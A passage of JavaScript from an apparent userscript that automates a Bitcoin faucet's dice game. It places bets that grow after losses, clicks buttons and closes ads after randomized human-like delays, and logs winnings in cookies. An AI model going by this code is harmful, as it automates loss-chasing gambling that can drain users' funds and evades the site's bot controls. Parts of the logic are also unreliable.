  1147. } else if (game2_play_after_losses >= WAIT_PLAY_AFTER_LOSSES){
  1148. // Begin to play, next step -> else
  1149. game2_step=6;
  1150. game_play_began=true;
  1151. tot_multiply_play++;
  1152. game_play_count++;
  1153. setCookie('tot_multiply_play', tot_multiply_play, 7);
  1154. return BAS_BET;
  1155. } else return "-008";
  1156. } else {
  1157. if (consecutive_lost > 0) {
  1158. game2_step=7;
  1159. return past_bet+(past_bet*INCR/100);
  1160. } else {
  1161. // Playing and won, go back to the begin
  1162. game_play_began=false;
  1163. game2_step=0;
  1164. game2_consecutive_lost_passed=false;
  1165. game2_finished_loosing=false;
  1166. game2_play_after_losses=0;
  1167. if (STRATEGY == 3) {
  1168. MIN_LOSSES_BEFORE_PLAY++;
  1169. if (LOGGING > 2) console.log("New MIN_LOSSES_BEFORE_PLAY value is: "+MIN_LOSSES_BEFORE_PLAY);
  1170. }
  1171. return MIN_BET;
  1172. }
  1173. }
  1174. }
  1175. }
  1176. } else return "-010";
  1177. }
  1178. function get_bet_odds () {
  1179. if (STRATEGY == 0) { return 2; }
  1180. else return ODDS;
  1181. }
  1182. function get_bet_hilo (index) {
  1183. if (HIGH_LOW == 3 ) {
  1184. var olaer = ['H','L','L','H','H','H','L','L','L','L','H','H','H','H','H','L','L','L','L','L','L','H','H','H','H','H','H','H','L','L','L','L','L','L','L','L'];
  1185. var key = index % olaer.length;
  1186. return olaer[key];
  1187. } else if (HIGH_LOW == 1) {
  1188. return "H";
  1189. } else if (HIGH_LOW == 2) {
  1190. return "L";
  1191. } else {
  1192. var r = random(1,10);
  1193. if (r<5) return 'H';
  1194. else return 'L';
  1195. }
  1196. }
  1197. function bet(amount, hl, odds, fast) {
  1198. var toclick; var wait_time_1=0; var wait_time_2=0;
  1199. if (hl == "L") toclick = "#double_your_btc_bet_lo_button";
  1200. else toclick = "#double_your_btc_bet_hi_button";
  1201. //if (LOGGING > 4) console.log(">> playing: "+hl+", betting: "+amount.toFixed(8) );
  1202. tot_multiply_bets++;
  1203. setCookie('tot_multiply_bets', tot_multiply_bets, 7);
  1204. if (SPEED == 0) {
  1205. wait_time_1 = random(2000,10000); wait_time_2=random(1000,5000);
  1206. } else if (SPEED == 1) {
  1207. if (Boolean(fast)) { wait_time_1 = random(300,900); wait_time_2=random(100,200); }
  1208. else { wait_time_1 = random(1133,5544); wait_time_2=random(100,1000); }
  1209. } else if (SPEED == 2) {
  1210. wait_time_1 = random(300,1000); wait_time_2=random(100,200);
  1211. } else {
  1212. wait_time_1 = random(10,20); wait_time_2=0;
  1213. }
  1214. setTimeout (function(){
  1215. $("#double_your_btc_stake").val(parseFloat(amount).toFixed(8));
  1216. $("#double_your_btc_payout_multiplier").val(odds);
  1217. setTimeout(function(){ $(toclick).click(); }, wait_time_1 );
  1218. }, wait_time_2 );
  1219. }
  1220. function multiplyEndGame(bet_amount, bet_count, consecutive_lost, curr_multiply_balance, observer, multiply_message) {
  1221. // Finished playing multiply
  1222. // Deactivate DOM Monitors
  1223. observer.disconnect();
  1224. if ( $('#multiply_full_container').length) {
  1225. $('#multiply_message').html(multiply_message);
  1226. }
  1227. multiply_hist_arr.push(tot_multiply_balance);
  1228. setCookie('multiply_hist_arr',JSON.stringify(multiply_hist_arr),14);
  1229. console.log("%cMultiply hist array: "+multiply_hist_arr, 'color:grey');
  1230. if (LOGGING > 2) {
  1231. if (bet_amount > MAX_BET) {
  1232. console.log("%c Max Bet limit passed. Max Bet: "+MAX_BET+", Next Bet: "+bet_amount, 'color: red');
  1233. } else if (bet_count >= MAX_ROLLS_AT_MULTIPLY ) {
  1234. console.log("%c Max Rolls limit passed. Max Rolls: "+MAX_ROLLS_AT_MULTIPLY+", Tot Rolls: "+bet_count+" with "+consecutive_lost+" cons losts", 'color: red');
  1235. } else if (game_play_count >= MAX_PLAY) {
  1236. console.log("%c Max Plays limit passed. Max Plays: "+MAX_PLAY+", Tot Plays: "+game_play_count, 'color: red');
  1237. }
  1238. }
  1239. if (LOGGING > 4) console.log("%c Disabling Monitors, finished multiply", css_bold+'color:green');
  1240. if (LOGGING > 4) console.log("%c Tot Balance: "+tot_multiply_balance+", Tot games: "+tot_multiply_games+", Tot bets: "+tot_multiply_bets, css_bold+'color: green');
  1241. if (LOGGING > 4) console.log("%c Session Balance: "+curr_multiply_balance+", Session tot bets: "+bet_count, css_bold+'color:green');
  1242. $('#script_output_multiply_status').html('<span class="bold">Multiply: <span class="true">Done!</span></span>');
  1243. isMultiplyRunning=false;
  1244. setTimeout(function(){
  1245. isMultiplyRunning = false;
  1246. $('.free_play_link').not('.hide_menu').click();
  1247. }, random(3000,30000));
  1248. }
  1249. function missingTime () {
  1250. var min = 0; var sec = 0; var str = "";
  1251. str = $('title').text().split(" ")[0];
  1252. //if (LOGGING > 4) console.log("%c[missingTime] [Debug] string: "+str, 'color: grey');
  1253. if (str.length <= 7 && str.length >= 3) {
  1254. min = str.split(':')[0]; if (min.length > 0) min = min.replace('m','');
  1255. sec = str.split(':')[1]; if (sec.length > 0) sec = sec.replace('s','');
  1256. } else if ( $('#free_play_form_button').is(':visible') ) {
  1257. min = 0; sec = 0;
  1258. } else { min = -1; sec = -1; }
  1259. return [min,sec];
  1260. }
  1261. function isNight(){
  1262. var d = new Date();
  1263. var h = d.getHours();
  1264. if ( stopNight > startNight && h >= startNight && h <= stopNight) {
  1265. // console.log(h+" -- "+stopNight)
  1266. return true;
  1267. } else if (stopNight < startNight && h >= startNight || h <= stopNight ) {
  1268. return true;
  1269. }
  1270. else return false;
  1271. }
  1272. function random(min,max){
  1273. return min + (max - min) * Math.random();
  1274. }
  1275. function closePopupInterval (target) {
  1276. //if (LOGGING > 4) console.log("%c[Debug] Function closePopupInterval begin", 'color:grey');
  1277. if (target.is(':visible')) {
  1278. setTimeout(function(){
  1279. if (LOGGING > 3) console.log("%cClose ADS", 'color: grey');
  1280. target.click();
  1281. ads_closed ++;
  1282. $('#script_output_title_ads_closed_num').text(ads_closed);
  1283. }, random (500,120000));
  1284. } else {
  1285. //if (LOGGING > 4) console.log("%cNot visible: "+target.attr('id')+" "+target.attr('class'), 'color: grey');
  1286. }
  1287. }
  1288. function closeRandomPopupInterval (target, randomness) {
  1289. //if (LOGGING > 4) console.log("%c[Debug] Function closeRandomPopupInterval begin", 'color:grey');
  1290. var rand = random(1,100);
  1291. if (rand < randomness && target.is(':visible')) {
  1292. setTimeout(function(){
  1293. if (LOGGING > 3) console.log("%cClose Random ADS", 'color: grey');
  1294. target.click();
  1295. ads_closed ++;
  1296. $('#script_output_title_ads_closed_num').text(ads_closed);
  1297. }, random (500,120000));
  1298. } else {
  1299. //if (LOGGING > 4) console.log("%cNot visible: "+target.attr('id')+" "+target.attr('class'), 'color: grey');
  1300. }
  1301. }
  1302. function getCookie(cname) {
  1303. var name = cname + "=";
  1304. var decodedCookie = decodeURIComponent(document.cookie);
  1305. var ca = decodedCookie.split(';');
  1306. for(var i = 0; i <ca.length; i++) {
  1307. var c = ca[i];
  1308. while (c.charAt(0) == ' ') {
  1309. c = c.substring(1);
  1310. }
  1311. if (c.indexOf(name) == 0) {
  1312. return c.substring(name.length, c.length);
  1313. }
  1314. }
  1315. return "";
  1316. }
  1317. function setCookie(cname, cvalue, exdays) {
  1318. var d = new Date();
  1319. d.setTime(d.getTime() + (exdays*24*60*60*1000));
  1320. var expires = "expires="+ d.toUTCString();
  1321. document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
  1322. }
  1323. function reset_all_stats(){
  1324. if (LOGGING > 2) console.log("%c Resettnig all stats deleting all cookies", 'color:red');
  1325. setCookie("last_bonus",0,365); setCookie("last_multiply",0,30); setCookie("rp_hist_arr","[]",31); setCookie("tot_multiply_balance",0,7); setCookie("tot_multiply_games",0,30);
  1326. setCookie("tot_rp_spent_captcha",0,7); setCookie("tot_rp_spent_rewards",0,7); setCookie('curr_multiply_balance',0,7); setCookie('curr_multiply_wagered',0,30);
  1327. setCookie('executions',0,7); setCookie('last_multiply_session_hist',0,7); setCookie('max_bet_session',0,7); setCookie('max_consecutive_losts',0,365);
  1328. setCookie('max_consecutive_losts_inplay',0,7); setCookie('max_consecutive_losts_inplay_session',0,7); setCookie('max_consecutive_losts_session',0,7);
  1329. setCookie('multiply_error',0,31); setCookie('multiply_hist_arr',"[]",14); setCookie('tot_btc_winning_rolling',0,7); setCookie('tot_lottery_tickets',0,7);
  1330. setCookie('tot_lottery_winning_rolling',0,7); setCookie('tot_multiply_balance',0,7); setCookie('tot_multiply_bets',0,7); setCookie('tot_multiply_play',0,7);
  1331. setCookie('tot_multiply_wagered',0,365); setCookie('tot_rp_winning_rolling',0,7);
  1332. location.reload();
  1333. }
  1334. function showStatus(){
  1335. if (LOGGING > 4) console.log("%c[Debug] Function showStatus begin", 'color:grey');
  1336. var t=missingTime();
  1337. var date = new Date();
  1338. var script_output_msg_1 = "";
  1339. var script_output_msg_2 = "";
  1340. var [{ value: month },,{ value: day },,{ value: year },,{ value: hour },,{ value: minute }] = dateTimeFormat.formatToParts(date);
  1341. var ca='red'; var cb='red'; var cc='red'; var css='font-weight: bold; color:';
  1342. var c1='purple'; var c2='olive';
  1343. var c3='brown'; var c4='teal';
  1344. if (LOGGING > 0) console.log(">>>>>>>>>>%c Status:%c ["+hour+":"+minute+"]", css_bold+'color:'+c1, css_bold);
  1345. //Rewards and multiply infos and colors
  1346. if (Boolean(REWARDS)) ca = 'green'; if (Boolean(MULTIPLY)) cb='green'; if (Boolean(LOTTERY)) cc='green';
  1347. var cssa='font-weight: bold; color:'+ca;
  1348. var cssb='font-weight: bold; color:'+cb;
  1349. var cssc='font-weight: bold; color:'+cc;
  1350. if (LOGGING > 0) console.log(">>>>>>>>>> Buying Rewards: "+"%c"+Boolean(REWARDS)+""+"%c; Playing Multiply: "+"%c"+Boolean(MULTIPLY)+""+"%c; Buying Lottery: "+"%c"+Boolean(LOTTERY), cssa, css_reset,cssb, css_reset, cssc);
  1351. if (t[0] > 0 || t[1] > 0) {
  1352. if (LOGGING > 0) console.log(">>>>>>>>>> Missing "+"%c"+t[0]+" min "+t[1]+" sec"+"%c for next roll",css_bold+"color:"+c1,css_reset);
  1353. }
  1354. if (LOGGING > 0) console.log(">>>>>>>>>> BTC won with script: "+"%c"+tot_btc_winning_rolling, css_bold+'color:'+c4);
  1355. if (LOGGING > 0) console.log(">>>>>>>>>> Tickets won with script: "+"%c"+tot_lottery_winning_rolling, css_bold+'color:'+c4);
  1356. if (LOGGING > 0) console.log(">>>>>>>>>> RP won with script: "+"%c"+tot_rp_winning_rolling, css_bold+'color:'+c4);
  1357. if (LOGGING > 0) console.log(">>>>>>>>>> RP Spent with rewards: "+"%c"+tot_rp_spent_rewards, css_bold+'color:'+c1);
  1358. if (LOGGING > 0) console.log(">>>>>>>>>> RP Spent with captcha: "+"%c"+tot_rp_spent_captcha, css_bold+'color:'+c1);
  1359. if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Balance: "+"%c"+tot_multiply_balance, css_bold+'color:'+c3);
  1360. if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Games played: "+"%c"+tot_multiply_games, css_bold+'color:'+c3);
  1361. if (LOGGING > 0) console.log(">>>>>>>>>> Multiply Wagered: "+"%c"+tot_multiply_wagered, css_bold+'color:'+c3);
  1362. // Update Status Message OnPage
  1363. script_output_msg_1 = "<span class='bold'>Config: </span>";
  1364. script_output_msg_1 += "<span class='"+Boolean(REWARDS)+"'>REWARDS </span> <> ";
  1365. script_output_msg_1 += "<span class='"+Boolean(BONUS1000)+"'>BONUS1000</span> <> ";
  1366. script_output_msg_1 += "<span class='"+Boolean(MULTIPLY)+"'>MULTIPLY</span> <> ";
  1367. script_output_msg_1 += "<span class='"+Boolean(LOTTERY)+"'>LOTTERY</span>";
  1368. $('#script_output_msg_1').html(script_output_msg_1);
  1369. script_output_msg_2 = "<span class='bold'> Script Winnings: </span> ";
  1370. script_output_msg_2 += "<span class='true'>"+tot_btc_winning_rolling+"</span> btc; ";
  1371. script_output_msg_2 += "<span class='true'>"+tot_lottery_winning_rolling+"</span> tickets; ";
  1372. script_output_msg_2 += "<span class='true'>"+tot_rp_winning_rolling+"</span> RP.";
  1373. script_output_msg_2 += "</br>";
  1374. script_output_msg_2 += "<span class='bold'> Script Spent: </span>";
  1375. script_output_msg_2 += "<span class='true'>"+tot_lottery_tickets+"</span> in lottery tickets; ";
  1376. script_output_msg_2 += "<span class='true'>"+tot_rp_spent_rewards+"</span> RP in bonus; ";
  1377. script_output_msg_2 += "<span class='true'>"+tot_rp_spent_captcha+"</span> RP in captcha. ";
  1378. script_output_msg_2 += "</br>";
  1379. script_output_msg_2 += "<span class='bold'> Script Multiply Balance: </span>";
  1380. script_output_msg_2 += "<span class='true'>"+tot_multiply_balance+"</span> btc in ";
  1381. script_output_msg_2 += "<span class='true'>"+tot_multiply_games+"</span> games and ";
  1382. script_output_msg_2 += "<span class='true'>"+tot_multiply_bets+"</span> bets";
  1383. $('#script_output_msg_2').html(script_output_msg_2);
  1384. }
  1385. function setBtcPrice(){
  1386. //if (LOGGING > 4) console.log("%c[Debug] Function setBtcPrice begin", 'color:grey');
  1387. var btc_price=$('#btc_usd_price').html().split('.')[0].replace('$','').replace(',','');
  1388. var i=1;
  1389. var to=2000;
  1390. if (i>=10) return false;
  1391. else if (isNaN(btc_price)) {
  1392. if (LOGGING > 4) console.log("%c[setBtcPrice] Price NA, try again in "+to*i/1000+" s", 'color:grey');
  1393. setTimeout(function(){ setBtcPrice(); }, to*i );
  1394. i++;
  1395. return true;
  1396. } else {
  1397. $('#usdxbtc').html(btc_price);
  1398. var usd_price=parseFloat(100000000/btc_price).toFixed(0);
  1399. $('#satxusd').html(usd_price);
  1400. }
  1401. }StopGame

comments powered by Disqus